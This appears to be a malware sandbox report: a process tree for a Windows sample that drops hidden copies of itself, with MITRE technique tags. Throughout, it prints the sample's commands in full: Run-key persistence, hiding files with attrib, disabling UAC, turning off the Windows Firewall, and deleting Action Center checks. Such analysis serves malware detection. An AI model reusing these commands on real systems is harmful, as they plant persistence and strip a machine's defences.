PID 2972 wrote to memory of 3636	2972	cmd.exe	100
PID 3360 wrote to memory of 3500	3360	cmd.exe	101
PID 3360 wrote to memory of 3500	3360	cmd.exe	101
PID 3360 wrote to memory of 3500	3360	cmd.exe	101
PID 3036 wrote to memory of 5012	3036	cmd.exe	102
PID 3036 wrote to memory of 5012	3036	cmd.exe	102
PID 3036 wrote to memory of 5012	3036	cmd.exe	102
PID 1216 wrote to memory of 2172	1216	XIo2qNiS.XIo2qNiS	103
PID 1216 wrote to memory of 2172	1216	XIo2qNiS.XIo2qNiS	103
PID 1216 wrote to memory of 2172	1216	XIo2qNiS.XIo2qNiS	103
PID 1216 wrote to memory of 3524	1216	XIo2qNiS.XIo2qNiS	105
PID 1216 wrote to memory of 3524	1216	XIo2qNiS.XIo2qNiS	105
PID 1216 wrote to memory of 3524	1216	XIo2qNiS.XIo2qNiS	105
PID 1216 wrote to memory of 4608	1216	XIo2qNiS.XIo2qNiS	107
PID 1216 wrote to memory of 4608	1216	XIo2qNiS.XIo2qNiS	107
PID 1216 wrote to memory of 4608	1216	XIo2qNiS.XIo2qNiS	107
PID 3524 wrote to memory of 4488	3524	cmd.exe	109
PID 3524 wrote to memory of 4488	3524	cmd.exe	109
PID 3524 wrote to memory of 4488	3524	cmd.exe	109
PID 1216 wrote to memory of 4396	1216	XIo2qNiS.XIo2qNiS	110
PID 1216 wrote to memory of 4396	1216	XIo2qNiS.XIo2qNiS	110
PID 1216 wrote to memory of 4396	1216	XIo2qNiS.XIo2qNiS	110
PID 4396 wrote to memory of 2404	4396	cmd.exe	112
PID 4396 wrote to memory of 2404	4396	cmd.exe	112
PID 4396 wrote to memory of 2404	4396	cmd.exe	112
PID 1216 wrote to memory of 5108	1216	XIo2qNiS.XIo2qNiS	113
PID 1216 wrote to memory of 5108	1216	XIo2qNiS.XIo2qNiS	113
PID 1216 wrote to memory of 5108	1216	XIo2qNiS.XIo2qNiS	113
PID 1216 wrote to memory of 3088	1216	XIo2qNiS.XIo2qNiS	115
PID 1216 wrote to memory of 3088	1216	XIo2qNiS.XIo2qNiS	115
PID 1216 wrote to memory of 3088	1216	XIo2qNiS.XIo2qNiS	115
PID 1216 wrote to memory of 1808	1216	XIo2qNiS.XIo2qNiS	117
PID 1216 wrote to memory of 1808	1216	XIo2qNiS.XIo2qNiS	117
PID 1216 wrote to memory of 1808	1216	XIo2qNiS.XIo2qNiS	117
PID 1216 wrote to memory of 2360	1216	XIo2qNiS.XIo2qNiS	119
PID 1216 wrote to memory of 2360	1216	XIo2qNiS.XIo2qNiS	119
PID 1216 wrote to memory of 2360	1216	XIo2qNiS.XIo2qNiS	119
PID 1216 wrote to memory of 4364	1216	XIo2qNiS.XIo2qNiS	121

Views/modifies file attributes 1 TTPs 42 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3636	attrib.exe
2688	attrib.exe
6096	attrib.exe
4860	attrib.exe
5672	attrib.exe
5328	attrib.exe
2404	attrib.exe
6088	attrib.exe
1824	attrib.exe
5168	attrib.exe
6124	attrib.exe
5992	attrib.exe
4612	attrib.exe
5012	attrib.exe
5700	attrib.exe
5840	attrib.exe
5808	attrib.exe
5828	attrib.exe
5040	attrib.exe
5628	attrib.exe
1824	attrib.exe
5740	attrib.exe
5800	attrib.exe
3172	attrib.exe
5180	attrib.exe
3428	attrib.exe
5496	attrib.exe
5268	attrib.exe
5188	attrib.exe
3620	attrib.exe
5124	attrib.exe
4488	attrib.exe
4776	attrib.exe
5220	attrib.exe
6136	attrib.exe
3908	attrib.exe
5624	attrib.exe
5728	attrib.exe
5696	attrib.exe
5872	attrib.exe
5360	attrib.exe
5752	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:776
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr /s
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  PID:5268
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\advant.exe"
    3⤵
    PID:5156
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Views/modifies file attributes
      PID:3428
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" "%appdata%\advant.exe"
    3⤵
    PID:1692
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\advant.exe"
    3⤵
    PID:4944
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5124
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "%appdata%\advant.exe" /f
    3⤵
    PID:3720
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "advant" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\advant.exe" /f
      4⤵
      Adds Run key to start application
      PID:1852
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\pcclean.exe"
    3⤵
    PID:2776
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Windows\system32\pcclean.exe"
      4⤵
      Drops file in System32 directory
      Views/modifies file attributes
      PID:5360
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" "%windir%\system32\pcclean.exe"
    3⤵
    PID:5340
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\pcclean.exe"
    3⤵
    PID:5492
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Windows\system32\pcclean.exe"
      4⤵
      Sets file to hidden
      Drops file in System32 directory
      Views/modifies file attributes
      PID:5328
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
    3⤵
    PID:4432
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\rawcircle.scr"
    3⤵
    PID:5348
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
      4⤵
      Views/modifies file attributes
      PID:5752
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" "%appdata%\Microsoft\Windows\rawcircle.scr"
    3⤵
    PID:5560
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\rawcircle.scr"
    3⤵
    PID:5376
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:4612
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\rawcircle.scr" /f
    3⤵
    PID:5504
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\rawcircle.scr" /f
      4⤵
      PID:2116
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
    3⤵
    PID:5432
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      PID:4496
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
    3⤵
    PID:5684
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      PID:5972
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c NET START seclogon
    3⤵
    PID:5636
  - - C:\Windows\SysWOW64\net.exe
      NET START seclogon
      4⤵
      PID:3984
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 START seclogon
        5⤵
        
        PID:5296
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:5816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
    3⤵
    PID:5420
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      PID:5236
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
    3⤵
    PID:5808
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      PID:1472
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    PID:5720
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:4520
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config upnphost start= auto
    3⤵
    PID:5632
  - - C:\Windows\SysWOW64\sc.exe
      sc config upnphost start= auto
      4⤵
      Launches sc.exe
      PID:5736
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config SSDPSRV start= auto
    3⤵
    PID:5644
  - - C:\Windows\SysWOW64\sc.exe
      sc config SSDPSRV start= auto
      4⤵
      Launches sc.exe
      PID:5512
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config browser start= auto
    3⤵
    PID:2968
  - - C:\Windows\SysWOW64\sc.exe
      sc config browser start= auto
      4⤵
      Launches sc.exe
      PID:5668
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start upnphost
    3⤵
    PID:5904
  - - C:\Windows\SysWOW64\net.exe
      net start upnphost
      4⤵
      PID:5320
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start upnphost
        5⤵
        
        PID:5976
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start SSDPSRV
    3⤵
    PID:5984
  - - C:\Windows\SysWOW64\net.exe
      net start SSDPSRV
      4⤵
      PID:5428
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start SSDPSRV
        5⤵
        
        PID:4860
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start browser
    3⤵
    PID:6068
  - - C:\Windows\SysWOW64\net.exe
      net start browser
      4⤵
      PID:5748
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start browser
        5⤵
        
        PID:448
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
    3⤵
    PID:2792
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set currentprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:940
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:5964
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      Modifies firewall policy service
      PID:5416
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:2740
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:5760
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:3680
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:4740
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
    3⤵
    PID:712
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set currentprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2116
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
    3⤵
    PID:1740
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
      4⤵
      Modifies Internet Explorer settings
      PID:5584
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
    3⤵
    PID:5176
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:5060
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
    3⤵
    PID:364
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:5004
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
    3⤵
    PID:5148
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:5716
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
    3⤵
    PID:1084
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
      4⤵
      Modifies Internet Explorer settings
      PID:5392
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
    3⤵
    PID:4148
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
      4⤵
      PID:5364
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
    3⤵
    PID:4768
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
      4⤵
      PID:5824
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
    3⤵
    PID:3588
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
      4⤵
      Modifies Internet Explorer settings
      PID:3720
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
    3⤵
    PID:3652
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Internet Explorer settings
      PID:5628
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe"
    3⤵
    PID:1032
- - C:\Program Files (x86)\Windows Media Player\wmplayer.exe
    "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
    3⤵
    PID:5400
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:1084

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:804
- C:\Windows\system32\wbem\unsecapp.exe
  C:\Windows\system32\wbem\unsecapp.exe -Embedding
  2⤵
  PID:2820
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
  2⤵
  PID:3752
- C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
  2⤵
  PID:3860
- C:\Windows\System32\RuntimeBroker.exe
  C:\Windows\System32\RuntimeBroker.exe -Embedding
  2⤵
  PID:3920
- C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
  "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
  2⤵
  PID:4012
- C:\Windows\System32\RuntimeBroker.exe
  C:\Windows\System32\RuntimeBroker.exe -Embedding
  2⤵
  PID:3892
- C:\Windows\system32\SppExtComObj.exe
  C:\Windows\system32\SppExtComObj.exe -Embedding
  2⤵
  PID:1396
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
  2⤵
  PID:2012
- C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe
  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca
  2⤵
  PID:1004
- C:\Windows\System32\RuntimeBroker.exe
  C:\Windows\System32\RuntimeBroker.exe -Embedding
  2⤵
  PID:380
- C:\Windows\system32\backgroundTaskHost.exe
  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppX3bn25b6f886wmg6twh46972vprk9tnbf.mca
  2⤵
  PID:2320
- C:\Windows\System32\RuntimeBroker.exe
  C:\Windows\System32\RuntimeBroker.exe -Embedding
  2⤵
  PID:4256
- C:\Windows\System32\RuntimeBroker.exe
  C:\Windows\System32\RuntimeBroker.exe -Embedding
  2⤵
  PID:4008
- C:\Windows\system32\wbem\wmiprvse.exe
  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
  2⤵
  PID:2296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1188
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1516
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1784

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2056

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2756

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3960

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:3732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2568

C:\Users\Admin\AppData\Local\Temp\4188928d42578d01826be310ed423f73_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4188928d42578d01826be310ed423f73_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Adds Run key to start application
- Drops autorun.inf file
- Suspicious use of WriteProcessMemory
PID:3608
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS
  2⤵
  - Checks computer location settings
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops autorun.inf file
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2372
- - C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS
    C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Drops autorun.inf file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Modifies Control Panel
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1216
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\advant.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3912
